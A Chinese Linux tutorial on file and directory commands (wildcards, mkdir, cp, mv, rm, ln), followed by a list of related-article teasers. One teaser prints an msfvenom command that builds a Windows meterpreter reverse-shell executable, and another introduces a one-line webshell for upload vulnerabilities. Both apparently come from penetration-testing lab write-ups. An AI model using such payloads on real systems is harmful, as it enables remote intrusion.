Linux命令行学习之操作文件和目录

目录

通配符

mkdir – 创建目录

cp – 复制文件和目录

mv – 移动和重命名文件

rm – 删除文件和目录

ln – 创建链接

硬链接

符号链接


本文介绍Linux用于操作文件和目录的命令,介绍的命令有:

  • cp – 复制文件和目录
  • mv – 移动/重命名文件和目录
  • mkdir – 创建目录
  • rm – 删除文件和目录
  • ln – 创建硬链接和符号链接

通配符

在开始使用命令之前,我们先介绍一个强大的shell特性。shell提供了特殊字符来帮助我们快速指定一组文件名,这些特殊字符叫做通配符。使用通配符允许我们依据字符的组合模式来选择文件名。下表列出了这些通配符以及它们所选择的对象:

通配符意义
*匹配任意多个字符(包括零个或一个)
?匹配任意一个字符(不包括零个)
[characters]匹配任意一个属于字符集中的字符
[!characters]匹配任意一个不是字符集中的字符
[[:class:]]匹配任意一个属于指定字符类中的字符

下表列出了最常用的字符类:

字符类意义
[:alnum:]匹配任意一个字母或数字
[:alpha:]匹配任意一个字母
[:digit:]匹配任意一个数字
[:lower:]匹配任意一个小写字母
[:upper:]匹配任意一个大写字母

借助通配符,为文件名构建非常复杂的选择标准成为可能。下表列举出了一些类型匹配的示例:

模式匹配对象
*所有文件
g*文件名以“g”开头的文件
a*.txt以“a”开头,中间有零个或任意多个字母,并以“.txt”结尾的文件
Data???以“Data”开头,其后紧接着3个字符的文件
[abc]*文件名以“a”、“b”或“c”开头的文件
BACKUP.[0-9][0-9][0-9]以“BACKUP.”开头,并紧接着3个数字的文件
[[:upper:]]*以大写字母开头的文件
[![:digit:]]*不以数字开头的文件
*[[:lower:]123]文件名以小写字母结尾,或以“1”、“2”或“3”结尾的文件

接受文件名作为参数的任何命令,都可以使用通配符。

mkdir – 创建目录

mkdir命令是用来创建目录的。它的命令格式如下:

mkdir directory...

注意表示法:在描述一个命令时(如上所示),当有三个圆点跟在一个命令的参数后面,这意味着那个参数可以重复,就像这样:

mkdir dir1

会创建一个名为“dir1”的目录,而

mkdir dir1 dir2 dir3

会创建三个目录,分别为dir1、dir2和dir3。

cp – 复制文件和目录

cp命令,复制文件或者目录。它有两种使用方法:

cp item1 item2

复制单个文件或目录“item1”到文件或目录“item2”,和:

cp item... directory

复制多个项目(文件或目录)到一个目录下。

接下来我们列举了一些cp命令有用的选项和相关实例,具体如下面表格所示。

cp命令常用选项表。

选项长选项描述
-a–archive复制文件和目录,以及它们的属性,包括所有权和权限。通常,副本具有用户所操作文件的默认属性。
-i–interactive在重写已存在文件之前,提示用户确认。如果这个选项不指定,cp命令会默认重写文件。
-r–recursive递归地复制目录以及目录中的内容。复制目录时,需要这个选项(或者-a选项)。
-u–update当把文件从一个目录复制到另一个目录时,仅复制目标目录中不存在的文件,或者是文件内容新于目标目录中已经存在的文件。
-v–verbose显示翔实的命令操作信息。

cp命令实例表。

命令运行结果
cp file1 file2复制文件file1内容到文件file2。如果file2已经存在,file2的内容会被file1的内容重写。如果file2不存在,则会创建file2。
cp -i file1 file2这条命令和上面的命令一样,除了如果文件file2存在的话,在文件file2被重写之前,会提示用户确认信息。
cp file1 file2 dir1复制文件file1和文件file2到目录dir1。目录dir1必须存在。
cp dir1/* dir2使用一个通配符,在目录dir1中的所有文件都被复制到目录dir2中。dir2必须已经存在。
cp -r dir1 dir2复制目录dir1中的内容到目录dir2。如果目录dir2不存在,创建目录dir2,操作完成后,目录dir2中的内容和dir1中的一样。如果目录dir2存在,则目录dir1(和目录中的内容)将会被复制到dir2中。

mv – 移动和重命名文件

mv命令可以执行文件移动和文件重命名的任务。任何一种情况下,完成操作之后,原来的文件不再存在。mv命令使用方法和cp命令很相像:

mv item1 item2

把文件或目录“item1”移动或重命名为“item2”,或者:

mv item... directory

把一个或多个条目从一个目录移动到另一个目录中。

mv与cp共享了很多一样的选项:

选项长选项描述
-i–interactive在重写一个已经存在的文件之前,提示用户确认信息。如果不指定这个选项,mv命令会默认重写文件内容。
-u–update当把文件从一个目录移动到另一个目录时,只是移动不存在的文件,或者文件内容新于目标目录相应文件的内容。
-v–verbose当操作mv命令时,显示翔实的操作信息。

下表列举了mv命令的一些操作实例:

命令运行结果
mv file1 file2移动file1到file2。如果file2存在,它的内容会被file1的内容重写。如果file2不存在,则创建file2。这两种情况下,file1都不再存在。
mv -i file1 file2除了如果file2存在的话,在file2被重写之前,用户会得到提示信息外,这个和和上面的命令一样。
mv file1 file2 dir1移动file1和file2到目录dir1中。dir1必须已经存在。
mv dir1 dir2如果目录dir2不存在,创建目录dir2,并且移动目录dir1的内容到目录dir2中,同时删除目录dir1。如果目录dir2存在,移动目录dir1(及它的内容)到目录dir2。

rm – 删除文件和目录

rm命令用来删除文件和目录:

rm item...

“item”代表一个或多个文件或目录。

下表列出了一些常用rm命令的选项:

选项长选项描述
-i–interactive在删除已存在的文件前,提示用户确认信息。如果不指定这个选项,rm会默默地删除文件。建议在删除文件时使用该选项,以避免误删文件。
-r–recursive递归地删除文件,这意味着,如果要删除一个目录,而此目录又包含子目录,那么子目录也会被删除。要删除一个目录,必须指定这个选项。
-f–force忽视不存在的文件,不显示提示信息。该选项覆盖了“–interactive”选项。
-v–verbose在执行rm命令时,显示翔实的操作信息。

下表列举了rm命令的一些操作实例:

命令运行结果
rm file1默默地删除文件。
rm -i file1除了在删除文件之前,提示用户确认信息之外,和上面的命令作用一样。
rm -r file1 dir1删除文件file1,目录dir1,及目录dir1中的内容。
rm -rf file1 dir1同上,除了如果文件file1,或目录dir1不存在的话,rm仍会继续执行。

小心使用rm!

类Unix的操作系统,比如说Linux,没有复原命令。一旦你用了rm删除了一些东西,它就消失了。

ln – 创建链接

ln命令既可以创建硬链接,也可以创建符号链接。可以用其中一种方法来使用它:

ln file link

创建硬链接,和:

ln -s item link

创建符号链接,“item”可以是一个文件或是一个目录。

硬链接

硬链接是最初Unix创建链接的方式。每个文件默认会有一个硬链接,这个硬链接给予文件名字。我们每创建一个硬链接,就为一个文件创建了一个额外的目录项。硬链接有两个重要局限性:

  1. 一个硬链接不能关联它所在文件系统之外的文件。这是说一个链接不能关联与链接本身不在同一个磁盘分区上的文件。
  2. 一个硬链接不能关联一个目录。

一个硬链接和文件本身没有什么区别。不像符号链接,当你列出一个包含硬链接的目录内容时,你会看到没有特殊的链接指示说明。当一个硬链接被删除时,这个链接被删除,但是文件本身的内容仍然存在(这是说,它所占的磁盘空间不会被重新分配),直到所有关联这个文件的链接都删除掉。知道硬链接很重要,因为我们可能会遇到它们,但在实际中更喜欢使用符号链接。

符号链接

创建符号链接是为了克服硬链接的局限性。符号链接生效,是通过创建一个特殊类型的文件,这个文件包含了一个关联文件或目录的文本指针。在这一方面,它们和Windows系统中的快捷方式差不多。

一个符号链接指向一个文件,而且这个符号链接本身与其它的符号链接几乎没有区别。例如,如果你往一个符号链接里面写入东西,那么相关联的文件也被写入。然而,当你删除一个符号链接时,只有这个链接被删除,而不是文件本身。如果先于符号链接删除文件,这个链接仍然存在,但是不指向任何东西。在这种情况下,这个链接被称为坏链接。在许多实现中,ls命令会以不同颜色展示坏链接,比如说红色,来显示它们的存在。

关于本文命令内容的参考来自《快乐的Linux命令行》一书。

欢迎关注我的公众号

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749465.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

文件上传漏洞------一句话木马原理解析

目录 一、实验环境 二、实验过程 构造一句话木马 一句话木马的使用: 木马原理解析: 一、实验环境 小皮面板搭建:upload-labs靶场 二、实验过程 构造一句话木马 这是一个最简单的一句话木马,我们用GET传参接受了两个参数,其最终目的是构造出:ass…

【SQLite数据库】的使用

SQLite数据库 文章目录 SQLite数据库0、linux基础知识补充1、SQLite简介1.1 SQLite & MySQL 的优缺点比较1.2 常见的嵌入式数据库 2、数据库的基本命令和用法2.1 创建数据库2.2 创建一张表格2.3 插入一条数据2.4 增加一列2.5 删2.6 改2.7 查看数据库 3、数据库编程3.1 实验…

牛客网-SQL大厂面试题-1.各个视频的平均完播率

题目:各个视频的平均完播率 DROP TABLE IF EXISTS tb_user_video_log, tb_video_info; CREATE TABLE tb_user_video_log (id INT PRIMARY KEY AUTO_INCREMENT COMMENT 自增ID,uid INT NOT NULL COMMENT 用户ID,video_id INT NOT NULL COMMENT 视频ID,start_time dat…

小车倒立摆系统线性化,离散化处理

一、线性化 从上一篇文章小车倒立摆物理建模与simulink仿真-CSDN博客 我们推导出了倒立摆小车的运动微分方程: 方程里包含了正弦,余弦运算,因此这个系统是非线性的,不容易控制。 我们的控制目标是把倒立摆直立在小车上(角度在0附…

移动云行动:5.5G技术引领数字化转型

刚刚结束的全国两会上,有人大代表建议应尽快发挥5G-A(5.5G)优势,加快试点城市布局。此前,中国移动已宣布将在300多个城市启动5.5G商用部署。在通信技术的历史长河中,4G改变了我们的生活方式,而5…

Navicat 面试题及答案整理,最新面试题

Navicat 在数据库管理中的主要用途有哪些? Navicat 是一款数据库管理工具,其主要用途包括: 1、多数据库支持: Navicat 支持多种数据库连接,包括 MySQL、Oracle、PostgreSQL、SQLite、SQL Server 等,方便用…

基于springboot+vue实现疫情防控物资调配系统项目【项目源码】计算机毕业设计

基于springbootvue实现疫情防控物资调配系统演示 B/S结构的介绍 在确定了项目的主题和研究背景之后,就要确定本系统的架构了。主流的架构有两种,一种是B/S架构,一种是C/S架构。C/S的全称是Client/Server,Client是客户端的意思&am…

JVM虚拟机:通过jconsole远程连接解决JVM报错

本文重点 前面我们介绍过的一些工具都是使用命令行的方式来帮助我们完成,本文我们将使用一种图形化界面的方式来远程连接,然后完成关于JVM的检测任务。 jconsole jconsole是一个JVM的检测工具,这个工具任何安装了Java的电脑上都有的&#…

Apache Paimon系列之:主键表

Apache Paimon系列之:主键表 一、主键表1.Bucket2.LSM Trees3.Compaction 二、数据分布1.固定Bucket2.动态Bucket3.正常动态Bucket模式4.跨分区更新插入动态存储桶模式 三、Merge Engine1.Deduplicate2.部分更新3.序列组4.聚合部分更新5.聚合6.Retract7.First Row 四…

SwiftUI的 特性 - ViewModify

SwiftUI的 特性 - ViewModify 记录一下SwiftUI的 特性 - ViewModify的使用方式 可以通过viewModify来管理视图的样式,结合extension来完成封装达到解偶效果 import SwiftUI/// 我们可以通过viewModify来管理视图的样式,来达到解偶效果 struct DefaultB…

【C语言】【时间复杂度】Leetcode 153. 寻找旋转排序数组中的最小值

文章目录 题目时间复杂度概念时间复杂度的计算 解题思路代码呈现 题目 链接: link 时间复杂度 概念 时间复杂度是一种函数,定量地描述了该算法运行的时间。既然是一种函数,就涉及到自变量与因变量。因变量代表是时间复杂的规模,自变量是…

易方达产品亏损仍存,“老鼠仓”阴影犹在,如何突出重围?

近日,易方达基金宣布易方达沪深300 ETF跻身“千亿规模ETF”行列,成为国内“ETF千亿俱乐部”的第三位成员。截至3月8日,该基金的规模增长112.21亿元,涨幅9.45%,规模增量在10亿以上的股票型ETF产品中排名第一。 回望202…

小兔鲜鲜项目(前端vue3)

成果图 大家喜欢给一个赞被, 项目地址:gitee 注意:项目克隆下去之后先运行 npm i之后安装项目插件包之后在npm run dev 运行就可以了

友塔游戏测试开发笔面经验

题目一 给定任意非负整数M,判断其能否表达为 M 2 ^a 2 ^b(a和b为非负整数),若可以输出a和b,若不能输出-1; 例如: 输入:6 输出: “1 2” 分析: void findAB(int M){} 为解决问题的主函数 …

Avalonia学习1:下载通用皮肤SukiUI,并在windows上启动成功

目录 1、引言 2、碰到的问题 1、下载下拉VS2022老版本的用不了。 2、升级后,发现没有装wsl,导致启动不了,但wsl又由于国内的关系安装不了,怎么办呢, 1、引言 最近在想有没有什么可以开发在Linux下运行…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎,被嵌入到所有移动设备和大部分计算机中,并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统:Windows 10PHPStudy 版本: 8.1.1.3Apache 版本:2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢? 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后? 3 30 (330)> 30 3 (30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…